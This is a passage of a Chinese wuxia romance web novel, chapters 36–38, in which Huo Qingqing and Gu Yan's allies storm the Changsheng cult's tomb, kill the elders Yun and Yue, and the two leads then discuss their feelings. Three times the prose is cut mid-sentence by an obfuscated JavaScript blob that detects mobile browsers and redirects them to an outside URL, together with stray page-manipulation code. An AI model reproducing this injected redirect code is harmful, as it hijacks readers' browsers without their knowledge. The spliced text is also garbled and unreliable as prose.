而他的身后,跟着那个青红鬼面的神使,还有三个衣着各异的老者。 神使只是淡漠地看着墓穴里爬满蛇虫鼠蚁,看着月浅披头散发地拍着鼓铃跳出一支蛊舞。 他开口道:“现在,她还不能死。” 陨长老会意,抬起那只傀儡甲造的手隔开蛇虫鼠蚁,将月长老拖出来。 月长老挣扎着,长长的指甲在地上刮出一道道痕迹,然后折断在泥地里。一室的蛊虫,都随着她从石门中涌出来。 “把她看好,别发疯。”神使嘶哑的声音传来。 “是,谨遵神使令。” 霍青青正对上神使那双露出来的眼睛,神使的眼睛里带着凛然杀意,似是从地狱里爬出来的勾魂恶鬼。 “我奉赋生神,赋生神怜我。” 神使慢慢地唱出那首长生歌。 石门再度关上之前,霍青青听见他说:“你的死期,将至。他们,也会给你陪葬。而我们,会有神赋予……新生……” …… 黑暗里,霍青青垂下眼睫。 在月长老说出她被掳走时她就在猜测她是谁了。只是她改头换面,一时没想起来到底是何人。如今她一说出来风家,那必然是月浅无疑。 曾经虽一直被她师姐压着,却也当得一句天赋异禀、风华绝代。 未曾想……一念之差,堕入深渊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924530|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风家、傅家,两家惨案均有另一教的手笔,牵扯到朝廷中人。后来霍清风手刃仇家,未曾想……竟还有漏网之鱼。 月长老,月浅。 难怪来的是她。 她叛出风家之时,就已经被仇恨蒙蔽了本心,所谓江湖正道月女侠,也不过是一念之差就成了长生教五长老之一月浅。 她的执念,她的怨恨,不正是长生教最需要的吗? 并不是人人生来都在顶峰,也并非人人都能被所有人喜欢。可一旦执着于一件事,时日久了无法达到,就会变成执念。这个执念,可以是正也可以在一念之差里变成邪。 月浅如今以身入蛊,已是大杀器。 师父应当会有解决之法,届时再辅以伍行的阵法困杀。 霍青青下意识抬手摸上腕间的玉镯,这镯子她常戴着,是养了好些年的药玉。 也不知顾衍他们行到何处了。 这时日太难等,若再不铲除长生教,破茧之人会越来越多。 顾衍,你且快些。 …… 青州昭南道。 顾衍负刀纵马疾驰,伍行辰砂紧随其后,疾风骤雨分停顾衍和伍行身前。他们身后跟着一百黑衣死士,亦是疾行。 另一方兰浔紫衣翻飞,伏在飞雪背上拍拍飞雪的脖子:“你还是让我给骑上了。好姑娘,我们去救青青也去救百姓。” 她身后锦屏领十三楼一队,绕开官道往青州边缘进发。 灵玄子一人,手托拂尘,此时已行至留青山中段。 霍十一与其他江湖人士绕开留青山自亓州断留青山脉末段。 …… 长生教教众亦是往青州不断汇聚,不少教众在中途被发现。官民合力,拦下些许教众。 等顾衍和伍行行至留青山脉,伍行一刻都未停歇,当即带着人开始探查山脉末段准备阵脚。 顾衍抬头看向天空,疾风骤雨在这段上空盘旋。明明这方都查过,可入口呢? 墓穴…… 那便往山脉之中探查。 顾衍当即一个长哨,疾风骤雨便从上空落下来。按说长生教养蛊虫和蛊人,周遭应当会留下痕迹才是。 顾衍深吸一口气,握紧腰间的绣春刀。 一定可以快些的。 …… 快到时辰了。 霍青青盘算着。 再见到月长老时,她已换了新衣,手上折断的指甲细细打磨了一番,染上鲜红豆蔻。 她像是忘记了那日的事情一般,给霍青青梳好一个发髻,再簪上几朵血红的花把她带出墓室。 许久未见阳光,霍青青觉得晃得眼睛疼。 她吃力地睁开眼,看着周遭的景象。 此处四方有崖,将这处围拢成一个天坑,此时地上已经用血淋出一个怪异的阵图。月长老站在她身边,伸手指向中间那高台,声音轻柔:“你看,今晚子时,你就该死在这里了。” “为请赋生神而死。死你一人,助万人新生。你看,多好呀。”月长老笑起来,腕间木镯碰撞:“神使说,只有你的血能唤醒赋生神,真羡慕啊……” 36.上重天 是夜。 高台上几面铜镜映着月色照得一方如昼。 霍青青换上一袭红衣,被缚住手脚捆在高台之上,底下是骤然飞起的血色的蛊蝶。它们汇聚在这一处,上下翩飞。 高台之下,是数十带着青红鬼面的教众,他们跳着那日青州学宫里那些傀儡蛊人诡异的舞蹈。 那个神使,坐于一方莲花台上,膝上横放一根铜丈,铜丈长约四尺,上刻繁复诡异的符文。 “起。”神使嘶哑的声音在夜空回响。 一尊巨大的,生着两个头的神像显在火光中。四臂双头,挽纱刻月。 接着共起七根铜柱,以北斗七星之位分布。铜柱之上,挂满黑白双色幡,血色蛊蝶做引,燃起艳色火光。此方天地,如与世隔绝一般,只有长生教教众长生歌在回荡。 这是一处只有月光与火光的地方。 忽然,有个教众周身燃起火焰,那火焰之中微辛的薄荷香腾起,很快扩散开去。忽闻一声炸响,远处有火光冲天,共十余教众戴着青红鬼面朝霍青青飞身而去。陨长老跟月长老同时动身,前往阻拦。 只须臾,霍青青手脚铁链被斩断,接过扔来的三面破甲锥看着那为首的教众笑了句:“辛苦你了,魑。” 魑点点头为霍青青开路。 “神使不留我吗?”霍青青刺穿一个教众的身体甩出去,带着魑和十几人步步紧逼。 教众蜂拥而至,陨长老素色衣摆一拂掠过来,月长老的毒物蛊人倾巢而出。魑带着十几人将霍青青挡在身后。 这方,霍青青闪身躲开神使铜丈在地上打出一道深深的痕迹,一双眼睛直直地看向她:“你,没事?” 这些天来,月长老给霍青青喂食了大量的软筋散和化功散,霍青青应当拿不起这破甲锥才是。 “多亏了我师父啊。”霍青青笑着,破甲锥架住三尺铜丈,将铜丈挑起,猛力顺着铜丈直直刺向神使的胸口。 破甲锥不同于其他兵器,破甲锥主破甲,无锋无刃,以刺为攻击手法。本是战场之上的利器,如今在霍青青手里也是出神入化。 霍青青握着三面破甲锥,与神使打了个不相上下,她看着神使,脚下微动骤然靠近:“这么大动静,就为了杀我?” “是啊,就为了杀你……”神使的声音嘶哑,带着怨恨,他死死握住铜丈,狠狠地敲击在霍青青的破甲锥之上,发出震耳欲聋的声响。 “是你,同他们说供奉活神像。也是你,跟他们说,请神赋长生。就为了杀我?”霍青青声音冷下去,往日里总带着暖意的桃花眼中带着杀机:“你当真,执迷不悟么?” 破甲锥一个回寰,在霍青青手中打了一个圈被她反手握住架在神使横过来的铜丈前:“我亏欠你什么?你说啊!你凭什么杀这么多无辜的人?” 霍青青的面带怒气,她已经许久没有这般动过怒了,也许久没有握过破甲锥。 神使的手臂被刺破,鲜血淋漓。 有兽吼回荡在这方天地间,霍青青手一顿,错身躲过一击重击。 …… 顾衍在前开路,一张脸面沉如水。 疾风蹲在他肩头,他们行在留青山山脉一处漆黑的山洞里。终于,山洞之中开始弥漫出雾气,毒物涌出来朝着他们攀爬。顾衍手起刀落,斩落一圈蛊虫。阵阵鼓铃响起,血色的蛊蝶围拢过来很快便被伍行燎灼开化为飞灰。 顾衍也不知道他行了多久,挥刀的手臂慢慢变得沉重。 “伍行。”他喊了一声。 伍行安排好火药,将山洞尽头的石壁炸开。 原来,这留青山山脉之中别有洞天。 “疾风骤雨,去找她。”顾衍将疾风骤雨放飞,听着它们高鸣而去。 “伍行,准备破阵。” “知道。”伍行跟灵玄子领着人分八路前往击破阵脚。 有灵玄子这个神通道长在,这般迷阵拦不住他们。待阵破之时,才发现他们已身处一处墓穴之中。 墓穴里以血肉铺陈,顾衍当机立断分出百人分散去寻豢养在这方墓穴里那些用来供奉活神像的少年。 “各位请各自保重。若看到长生教教众,杀无赦。”顾衍朝着各方人马一礼,亲自带人朝着正中间的墓道而去。 霍十一辰砂锦屏与其他江湖义士在每个墓室之中搜寻,终于在最深处寻到一室活人,这一室里,全是未满二十岁的少年,男男女女,共计百余。 “劳烦大家,先送他们出去,我去帮姑娘。”霍十一抱拳一礼,紧接着就转身离去。 辰砂跟在霍十一身后。 …… 霍青青一把抓住陨长老的傀儡甲臂,狠狠地往地上贯去:“魑,杀出去。” 魑放开受伤的肩膀,沉默着点点头,带着仅剩的三人死死护住霍青青。 陨长老低笑一声:“当真小看你这丫头了。” 他说着,从霍青青手中滑出,极其诡异地退出十余步。 霍青青刺向神使的破甲锥,被神使身边的其他长老堪堪拦住后速退出两丈远。 这时,只听一阵地动山摇,墓穴石门被生生炸开。 顾衍提着绣春刀走在前头,一身黑衣如鬼魅,搁着这许许多多的长生教教众,他看过来,笑着道:“真叫我好找。” 傀儡蛊人数不胜数,他提着绣春刀生生将它们劈作两半,身后的众人鱼贯而出,与这些教众蛊人战在一处。 兰浔和柳三爷同月长老打起来,兰浔紫绫扬起,末端带着锋刃,穿透毒物与蛊人后朝着月长老而去。柳三爷看准时机,大刀如虹,助兰浔逼近月长老。月长老鼓铃长奏,不断有毒物和蛊人朝她靠近。小天魁莫天俞领着莫家庄的人迎战余下的另一个长老。 那长老戴着半边鬼面,着白衣,步子飘忽。莫天俞一击不中,便带着人后退,那长老长鞭如灵蛇袭来,缠住他一边铁鞭。 “灵蛇鞭啊……”莫天俞一笑,并未挣脱。而是另一只手握着铁鞭狠狠打在灵蛇鞭鞭身上,力道之大,引得那长老往前一步。 莫天俞手腕一转,搅住灵蛇鞭,越拉越紧。那长老见状不妙,立马收鞭,打出数朵鞭花。明明是软鞭,打在莫天俞的铁鞭上却有金戈之声。 “有点意思。”莫天俞笑了声,喝退莫家庄众人:“你们且退去助兰楼主,我来单独会会他。” 他朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941320|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑一声,铁鞭忽如灵蛇吐信,攻势渐快。双鞭小天魁,在江湖之中那可是响当当的。 那边的柳三爷宽刀如匹练,一刀斩落无数毒物,又有莫家庄众人相助,兰浔便找准了机会,长绫灼灼,锋刃破空而去,穿透了月长老肩胛。 月长老被击落下来,许多傀儡蛊人将她团团护住。 “有完没完了?”兰浔冷着脸,长绫一探卷来一旁的伍行:“给我炸。” 伍行有些无奈,掏出最后一□□:“我炸行不行。” 有伍行这么炸一波,兰浔和柳三爷瞬间轻松不少,可当他们真的破开重重傀儡蛊人时,那月长老却不见了踪影。 陨长老不知何时已经杀了过来,悄然拧断数个死士的脖颈,然后出现在顾衍身后。顾衍若有所察,反手绣春刀上挥,发出铿锵之声。 顾衍疾退一步,绣春刀又是上挑,与陨长老的傀儡甲臂撞在一处。 陨长老悠悠然看向那边高台之上的霍青青,然后转过头来看向顾衍:“贺乾的好儿子,这次是你杀了我还是你替你老子还账?” 顾衍沉默不语,挥退死士站在陨长老面前。 陨长老见状诡笑一声,他那傀儡甲臂便是他的兵刃。傀儡甲臂,刀枪不入,水火不侵。 顾衍冷哼一声,绣春刀刀刃映出月光,也映出一点模糊的他的轮廓。 “你一直将贺乾挂在嘴边,可你有没有想过,其实放不下的,只有你。”顾衍星目灼灼,看向高台之上。 疾风骤雨长鸣着自高空落下,能撕裂猎物的鹰爪扣进长生教教众的身体。随后又腾飞而起,呼啸着冲上高台。 那高台之上,霍青青还在跟神使缠斗,那神使的路数跟霍青青如出一辙,只是一人是铜丈一人持破甲锥。 兰浔和柳三爷见状,也飞身上去助她。 霍青青笑着腾跃而起,双手握住破甲锥,带着锐气和锋芒,用上十成力道向下劈去。 “这叫—— 上重天。” 话落,那破甲锥生生劈开一个长老后上提带出血肉,她就站在这一帘血雨里居高临下地看着神使。 神使就地一滚,狼狈地躲开她落下来的破甲锥。他沉默地看了一眼底下血流成河,漠然地转过身,在仅存的一个长老掩护下消失在乱成一团的教众之中。 …… “顾衍。”霍青青握着破甲锥,站在高台之上喊了一声。 顾衍只一眼就瞧见了那高台之上一身红衣的霍姑娘,她一袭红衣猎猎,青丝散乱。 他格住陨长老再度袭来的傀儡甲臂朝着霍姑娘那边退去,心里只叹了一句——幸好。 幸好霍姑娘从来不会是坐以待毙的人。 他那时在乌镇的城楼之上就知道霍姑娘身手好,只是她不说,他也不愿多问。 如今看着霍姑娘提着破甲锥,他也没什么太大意外,只随手斩落一个长生教教众给她辟出一处干净的地方。 霍青青从高台之上跳下来。 顾衍的身体比他脑子快,几乎是一瞬间就将她稳稳接住。 他低声笑了,手臂微微收紧。 “霍姑娘,真是好久未见了。” 37.旧怨 还来不及说什么,顾衍将她放开,一柄绣春刀横在身前:“陨长老,如此,便该了结一下你我恩怨了。” 陨长老白衣负手,怪异的刀握于身后,他看着顾衍笑出几分疯狂:“我等这一日,等许久了,若非贺乾两年前死于你手,我何苦等这么久……” “神使已退,长生教仍有余众,你们以为,长生教当真这么好消亡吗?”陨长老负刀而行,看着同顾衍站在一处的霍青青:“你以为,你当真能驯服这只恶兽?他若反扑,你只怕会尸骨无存。” 斜里挑来一根铁鞭,被他反手挡开。 莫天俞收手:“主子都跑了,留你一条老狗断后,你还得意洋洋呢?” “天俞,你还是这般。”霍青青笑他一句:“多久未见了。” “青青,你不厚道啊,都不来瞧瞧你天俞哥哥。”莫天俞朗笑一声,一个起落跃到霍青青身旁。 他微抬下巴示意跟陨长老对峙的顾衍:“你男人啊?” 霍青青无奈叹了一口气:“你这一张嘴啊。” “青青妹子,我可是帮你试了刀,这小子,不赖啊。”柳三爷扛着他的大刀走过来,他跟兰浔去寻了整整一圈也没寻到月长老踪迹,只能先行折返回来,伍行八卦阵未撤,若是寻到了不敌定会发出信号。 兰浔拖着紫绫抱怨道:“这副紫绫又废了,小青儿,你得再买十副还我让我换着使。” “知道了,回去就给我家阿浔再买二十副。” 顾衍同陨长老,旧怨未消,如今他二人恐怕,谁都插不了手。 “顾衍。”霍青青叫住他,站在他身后勾住他的手,轻声道:“你不是一个人了。” 顾衍身形一顿,手指微勾触在霍青青的掌心,他笑了句:“放心,我还没活够,死不了。霍姑娘,等我将他宰了回来,还有事要问你。” “那我等顾大人回来问我,我定然知无不言。” “瞧着吧。”顾衍这才放开霍青青的手将绣春刀往肩上一扛,留给霍青青一个带着痞气的背影。 他笑着道:“陨长楼,你说新仇旧怨,那今日就一并报了。他们谁都不会插手,开始吧。你当年既打不过我义父,那同样……也打不过我啊。” “两年前,你与我义父,到底是何关系?”顾衍绣春刀出鞘,身形疾掠势如猛虎朝着陨长老而去。 那柄绣春刀,带着无匹的锐气呼啸而去带着破空之势力有千钧。银白刀刃在夜色之下,如雷霆一般,带出一尾长虹。 陨长老的刀刀刃怪异,他曾用这把刀取了无数人的性命,刀刃之上是暗色的鲜血。他大笑着迎着顾衍的刀锋而上,刀刃相撞间火花骤起。 他们二人似独在一方天地。 莫天俞站在霍青青身侧问道:“真不去帮他?” 霍青青握紧手中的破甲锥,目光紧随顾衍,良久,她唇角勾起一抹笑:“我信他。况且,他们有旧怨。” “行,我带着人去烧了其余墓室。”莫天俞收好双鞭背在身后,一袭白衣飘然,厮杀这许久,这一袭白衣也未染尘。 “小青儿,那月长老……”兰浔蹙着眉头:“定然是用蛊人掩人耳目,小青儿,我们去何处寻?也不知那伍行御阵,能不能将她拦住。” 如今八卦阵中,八门皆启,八门一个时辰对调一次。只要伍行守阵,未伤阵脚,便可将人困在其中。 霍青青看着周遭开始清理剩余毒物和蛊人的人,提气喝道:“今日多谢各位围剿长生教。此行辛苦,我霍青青在这里邀大家出去之后青州玉楼春一聚,到时,酒水管够,大家敞开了喝。今次恩情,十三楼记下了。” “霍楼主说的哪儿的话,苦长生教久矣,只是一直不知它们总教何处。如今霍楼主大义,我等自当尽一份力。” “青青妹妹既这般说了,那我们莫家庄就却之不恭了。”莫天俞领着人又回来,眼眸微眯看向那方打得正酣的顾衍。 顾衍心知陨长老靠着那刀枪不入的傀儡臂如同双兵其上,便单手握刀鞘压制。刀鞘抡在陨长老的傀儡臂上,发出金木撞击之声,陨长老顺势握住他的刀鞘拉扯。 那绣春刀刀弧一掠,顾衍矮身躲开陨长老袭来的刀锋反手绣春刀顺着那刀锋而上直压吞口。 二人打得难舍难分,顾衍欺身而上,绣春刀入鞘朝着陨长老当头砸下。 “小青儿,他怎么也使这一招?”兰浔第一次瞧见跟小青儿路数差不多的。 小青儿惯用的是偏门的三面破甲锥,破甲锥长而窄,适合刺挑,本是破甲利器,但小青儿将它用作自己的独门兵器。那招上重天便是以十成大力纵跃而上,压下后斜刺,势如泰山压顶。 “或许是……心有灵犀。”霍青青笑了句,她也没见过顾衍用这招。 陨长老见状傀儡甲臂和刀交叠而起接下顾衍这一击。 “你比你老子刁钻多了。”陨长老脚下的地面陷进三分,他提气一动才将顾衍的绣春刀推开些许。 顾衍绣春刀重新出鞘,疾退数步躲开陨长老的傀儡甲臂。 两人已走了上百回,不断有铿锵之声传来。 在陨长老再一次握住顾衍的刀刃时,他的袖摆已经被顾衍削落,那只傀儡甲所制的手臂崩出寸寸裂口。他握住刀刃,生生接下顾衍的刀鞘,伴随着骨骼碎裂声发出沉闷的声响。 他唇角溢出鲜血,头发散乱着看着顾衍:“贺乾的好儿子,比贺乾更厉害。你老子,若是有你这么聪明,何至于死在你刀下?” 陨长老笑着,一张脸扭曲,最后在光影之中,出现在顾衍面前的,是贺乾的脸。 “好儿子。”他大笑着,将绣春刀的刀锋贯入自己的身体,刀尖从他背上穿透而出:“贺乾果真是把所有的东西都教给了你,我同他,是同门师兄弟啊。” “江湖不踏朝堂,他偏偏要与我恩断义绝,还说我已堕,堕落的明明是他啊。”陨长老将顾衍的刀拔出,他低下头看着这柄绣春刀:“六年前,他也用的这把刀,断我一臂,冠冕堂皇地说我们此后恩断义绝。他,凭什么?” 陨长老抬起头来,喉咙里发出“嗬嗬”的怪笑声:“恩断义绝,那你为何……不废了自己的武功同师父说上一句恩断义绝呢?入了朝堂,成朝廷走狗,享着自己的高官厚禄,哼,贺乾一身本事,不都是师父给的吗?” “贺乾是忘恩负义之辈,他教出来的好儿子不也是这样吗?两年前,他死在你手上,如今,我也死在你手上。顾衍,你杀了你恩重如山的义父,如今又杀了你的师叔。你果然,是喂不熟的狼。” 顾衍沉默地站在那里,握着绣春刀的手微微颤抖,他看着眼前的陨长楼当真像看着两年前的贺乾。 两年前,他的义父贺乾,也是这般,这般披头散发跪在他面前,最后被他一刀斩首。那天的血,溅在他一身飞鱼服上,将衣摆浸透,沉重不堪。 “你当真……能杀他第二次吗?他该死在我手上的啊。你凭什么杀了他?”陨长老笑着:“顾衍,你凭什么?他要死也是该死在我手上,让我拿着他的人头去师父的墓前悔过啊……” “他怎么能死在别人手上呢?啊?他怎么能死在他所谓的儿子手上呢?是你杀了他,装模作样。你们朝廷都是些装模作样的东西!他负了师父,说我入业障该死,可是他呢?才断我一臂就够了吗?让他爬起来,杀了我啊!” “你让他自己爬起来杀了我啊!你凭什么杀了他啊?顾衍!你凭什么?” 他面容扭曲着,看着顾衍犹疑。 只这一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960570|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他突然暴起,傀儡甲臂直直袭向顾衍。 “别动。”顾衍喝住欲上前的人,他站在那里背过身去,以肩背扛下傀儡甲臂,留下五道深深的血痕。 “论辈分,我或许该叫你一声师叔。”顾衍又提起刀,削下陨长老一臂,接着一个后刺,穿透了陨长老的身体:“受你一击,还我义父师兄弟之情义。” “如此,我与义父,都不再欠师门任何东西。” 陨长老看着他,飘扬的素白衣衫徐徐垂落而下,他看着顾衍刺入自己身体的绣春刀笑得疯癫起来:“当年贺乾……果真是活该!顾衍,贺乾和他情同手足的师弟都死在你手上了。你还不完的……” “永远都还不完的……” 绣春刀被他抽出来,带落一地的血珠,顾衍有些疲惫地收刀入鞘,朝着霍青青走过来。 他走到霍青青面前,才终于没有再强撑。 霍青青将他抱住,顾衍静静地将头靠在她肩上,他带着笑的声音微颤:“霍姑娘,我好累啊。” “让我歇歇再问你。你别走,好不好?”顾衍的绣春刀落在地上,他抬手抱住霍青青,纵然浑身染血,也有一丝轻浅的薄荷香萦绕在他鼻端。 霍青青扶着他,找了一处干净的地方将他放下,蹲下身子将他散落的发别到耳后。 她看着顾衍,想到他为了寻她想必已是连夜赶路好几日未曾停歇。顾衍和大家,都为了寻她打起了十二分的精神。 如今长生教只余下清缴余孽,就让他们,都先休息吧。 霍青青指尖落在顾衍的眉目上一点点描摹。 她早说了,顾衍长得好看。 如今一战,也丝毫未损风华。 “顾衍啊……”霍青青轻叹着想收回手。 却被顾衍握住手腕,一把拉进怀里。 他的手环在霍青青腰间,闭着眼在霍青青耳畔轻声道:“青青,陪我一会儿吧。” 霍青青覆上他的手背,指腹摩挲在他手背上的伤口。伤口结痂之后又被崩裂,方才一战,他手心磨得血肉模糊。 “好啊,我不走。”霍青青放松身子靠坐在他怀里,听着他平稳的呼吸才放下心来。 没有人来扰他们,四周都慢慢安静下来,霍青青抬手触上顾衍的脸,轻轻唤了一句:“顾衍。” “嗯。” “你背后的伤,我看看。”霍青青想起身,却被他牢牢箍住。她捏了几下他的手,笑骂一句:“顾衍。我知道你不怕死,但是流血流死了,窝不窝囊啊。” “死不了。”顾衍还是没有放手,他铁了心不让霍青青起身。 这点伤于他没什么,他更重的都受过。 “霍姑娘。听话一点,别动。”顾衍得寸进尺地将下巴放在霍姑娘的肩上,压得霍姑娘动弹不得。 “我说死不了就死不了。”顾衍干燥的唇擦过霍青青耳畔:“再陪我一会儿,一会儿就好。” 霍青青只得妥协。 那便都休息一会儿吧,等明日再出去也不迟。 …… 另一边的伍行,没有碰上月长老。 他推演着八卦阵,忽闻周遭有马蹄踏过。 竟有人强行破阵! 月长老借毒物蛊人脱身时,已耗大半心力,她捂住被兰浔割裂的血口咬牙疾行。 奈何八卦阵已启一时找不出生门。 突然大阵被破,她咬牙朝洞口而去,只要出了洞口就能有一线生机。 突然,她惊愕地看着一杆玄黑长枪洞穿自己的身体,枪尖自胸口贯出来,随后抽出。 她跌坐下去,艰难地回过头看着手握长枪的玄甲将军。 “你是……何人?” “锋锐骑,雁将离。” 38.回青州 雁将离怎么会如此?他不是……在边关抵御南羌么?月长老看着他,身体里乌紫的血淌了一地,最后彻底失去生机。 伍行看着强行破阵而来的玄甲将军,心中陡然生出一丝危险。 还未等他开口,雁将离的枪尖已至他咽喉前:“她在哪儿?” “你找霍姑娘?”伍行反应过来。 “说。” “霍姑娘没事,方才各路人马已将长生教铲除,霍姑娘可是一根汗毛都没少。”见着雁将离收了枪,伍行才从地上爬起来。 “你怎么走了?”伍行见着他刚来便转身朝着洞口走有些不明所以。 雁将离扫了月长老的尸体一眼:“别告诉她我来过。” 等到彻底看不见雁将离的身影了,伍行才松了一口气。方才,他是真的感觉到这人想杀了他。可如今边关动乱,雁将离怎么能私自离开边关? 自他驻守的白沙关到此处,日夜兼程也需半月余才是。他擅离职守便只为了来寻霍青青吗? 他又怎能弃白沙关而不顾? 伍行心中愤懑,却也只能先蹲下身子,略查探月长老的尸体。月长老如此,断无生还的可能。他这才松了一口气,若是因为他让月长老跑了,他大抵对不起这些前来围剿的江湖义士。 待都修整一夜,大火将这方洞天点燃,霍青青看着火焰将那些尸体和黑白幡和血色的蛊蝶全部点燃,那双头神像立在熊熊火光之中更添了几分诡谲。她站在洞口回头看去,那尊所谓的赋生神神像还在笑着。一行人出得洞口,合力搬来数块山石将墓穴洞口死死堵住。 …… 青州边界的客房里,顾衍被她按坐在榻上。 “我回去自己涂。”顾衍起身欲走,一不留神就又被霍青青按下来。 顾衍别过头去:“我自己带了药。” “顾大人。”霍青青将手里的药递给他:“涂给我看看。” 顾衍哑然。 他还是第一次见着霍姑娘这般耍无赖。 霍青青叹了口气,在他身后坐下,取了剪子剪开顾衍背后的衣衫。 昨日里只潦草地处理了,顾衍因着失血脸色并不好。 他还倔得很。 好在霍姑娘也不是真的手无缚鸡之力,遂将他按着动弹不得。今日又重演,顾衍一时挣扎也不是不挣扎也不是。 霍青青接着大亮的天光,给他细细清理着。 “顾大人,我轻些。”霍青青看着他背后五道血口横亘在肩背上,觉得他当真是不怕死的。 陨长老能凭借他那傀儡甲坐上长生教长老之位,就定然不可小觑。可是顾衍这疯子,就这般用自己血肉之躯挡上去。那天莫天俞说他硬扛他一鞭子,她听到时也惊怒,双鞭小天魁,莫天俞的铁鞭这江湖里甚少有人敢硬接,能打过莫天俞的多数都是以巧卸力。 顾衍这般硬扛的,若非莫天俞卸了点力道,那后果她不知道。 思及此,霍青青又叹一口气,手上熟练地处理着伤口,最后取来针线:“顾大人,你忍忍。” 霍姑娘的指尖是微凉的,落在伤口边上,很快被他的体温沾染得温热起来。 顾衍绷紧身子,银针穿过皮肉的感觉远远不及霍姑娘的手触在他背上来得让他心颤。 一室的寂静里,似乎只剩下他和霍姑娘的呼吸声。 “霍姑娘。”顾衍终于开了口,他觉得太安静了,很不自在。 许久,霍青青停下手给他包上才缓缓道:“悍不畏死的顾大人,你唤我何事?” 顾衍顿时偃旗息鼓。 霍青青从榻上下来,收拾了桌上的东西转身就走。 “青青。”顾衍拉住她,低声道:“霍姑娘,我还是疼。” 霍青青被他拉扯得近了些,看着他星目灼灼,就这样看着她。 霍青青垂下眼睫,数过他身上深深浅浅的伤痕,一时又不忍心把他一个人扔下了。 “顾大人不是不怕痛吗?”她按在他的手臂上,一双桃花眼微弯。 顾衍总觉着今日的霍姑娘看他不大顺眼,哪哪儿都在戳他痛处。无奈之下,他笑叹道:“伤的时候不痛,如今看到霍姑娘了又觉得痛了。霍姑娘要负责的。” “顾大人怎么又开始耍无赖了?” “这不是耍无赖,是真的。”顾衍忽地握住霍青青的手,放到自己胸口:“这里,之前一直痛,昨日才好了。霍姑娘,你给我瞧瞧。” 他一番话说下来,霍青青低着头,感受着从那层纱布之下传来的体温。她抬起头,笑着问道:“顾大人前日想问什么?” 许是太久没见到这般笑容,顾衍一时被晃了眼:“我想问你……”我们是什么关系。 可话到了嘴边,顾衍又不知如何说了。他莫名的害怕起来,他心底里有好多个答案,唯独只有一个最想要的。他怕问了,霍姑娘给出的回答不是他想要的那个。 “顾大人。”霍青青按在他的胸口将他按倒在榻上。 “什么……”顾衍僵住,看着近在咫尺的霍姑娘一时不知该进还是该退。 他觉得自己一身的血液都凝了,他艰难地别过头说了句:“霍姑娘,男女授受不亲。” 接着他就听着霍姑娘伏在他胸口笑,笑得上气不接下气。 顾衍觉得丢脸,他按在霍姑娘腰上哼了句:“笑什么?” 霍青青撑起来一点,伸手落在他眉眼上:“他们把我关在墓室里的时候,我在想一些事。” “什么?”顾衍的声音微哑,在她腰上的手微微收紧。 那些墓室里,哪一间不是充满了血腥味儿暗无天日?霍姑娘就被关在那地方,关了这许久,他昨日里昏昏沉沉地睡了一整日,今日才清醒些。他微垂着眼看着霍姑娘的手。她平日里甚少穿束袖的衣服,今日却是破天荒地换上一套青色束袖骑装。 在他握住霍青青的手腕时,霍青青看着他的眼睛,声音很轻很慢:“在想顾大人在我生辰宴时怎敢带着半身的血来霍府。还在想顾大人那夜里来扭扭捏捏地送药膏。” “之后我在想,顾大人什么时候来。” 顾衍在这一屋子的寂静里,听到自己心如擂鼓。 “可是,顾大人。我们只相识了这三月。”霍青青将自己的手腕从他手中挣出来翻身下榻去将窗户推开。 比方才更强烈的光落进来,她背对着顾衍看着外间晴空万里。她向来是冷静的,冷静到一时自己也分不清如今跟顾衍纠纠缠缠算是什么。 “顾大人,我眼下并不能给你什么答案。”霍青青捡起被风吹落的一张宣纸:“或许是这些时日,我们相处得太多,连带着我们都只想了解彼此而忽略了这个想法的本身。” “到底是想有一个相遇相知的友人还是其他,我们或许都还不得而知。可是……” 霍青青转头看过来,看着顾衍从榻上坐起。 “我并不反感顾大人的靠近,也并不希望顾大人受伤。可是时日太短,我拿不准。” 她做事总喜欢求稳,她也在问自己问顾衍是何感情。就像方才,她骤然将顾衍推倒,看着顾大人僵住然后说出一句男女授受不亲。 “那就试试。”顾衍突然出声。 “什么?”霍青青愣怔地看着顾衍。 顾衍随手取了一件外袍,将衣服穿得规规矩矩才起身站在她面前。他眼中带笑,握住霍青青的手。 霍姑娘今日穿得单薄,手掌微凉。此刻被他握在手中,变得温热起来。 看着霍姑娘怔怔的,顾衍不由低笑出声。他把霍姑娘的手放上自己脸侧,极缓地在她手心磨蹭了一下,紧接着他温热干燥的吻落在霍姑娘掌心。 霍姑娘没有躲开,只拿那双好看的桃花眼定定地看着他。 “你既然不躲我,那就试试。先抛开其他的一切,与普通人一样,试试比朋友更进一步的关系。”顾衍重复了一遍,认认真真地看着霍青青:“我们相识的时日不久,我怕太过孟浪,也怕让霍姑娘不安。但……我想我的直觉不会骗我,它曾救过我无数次。” 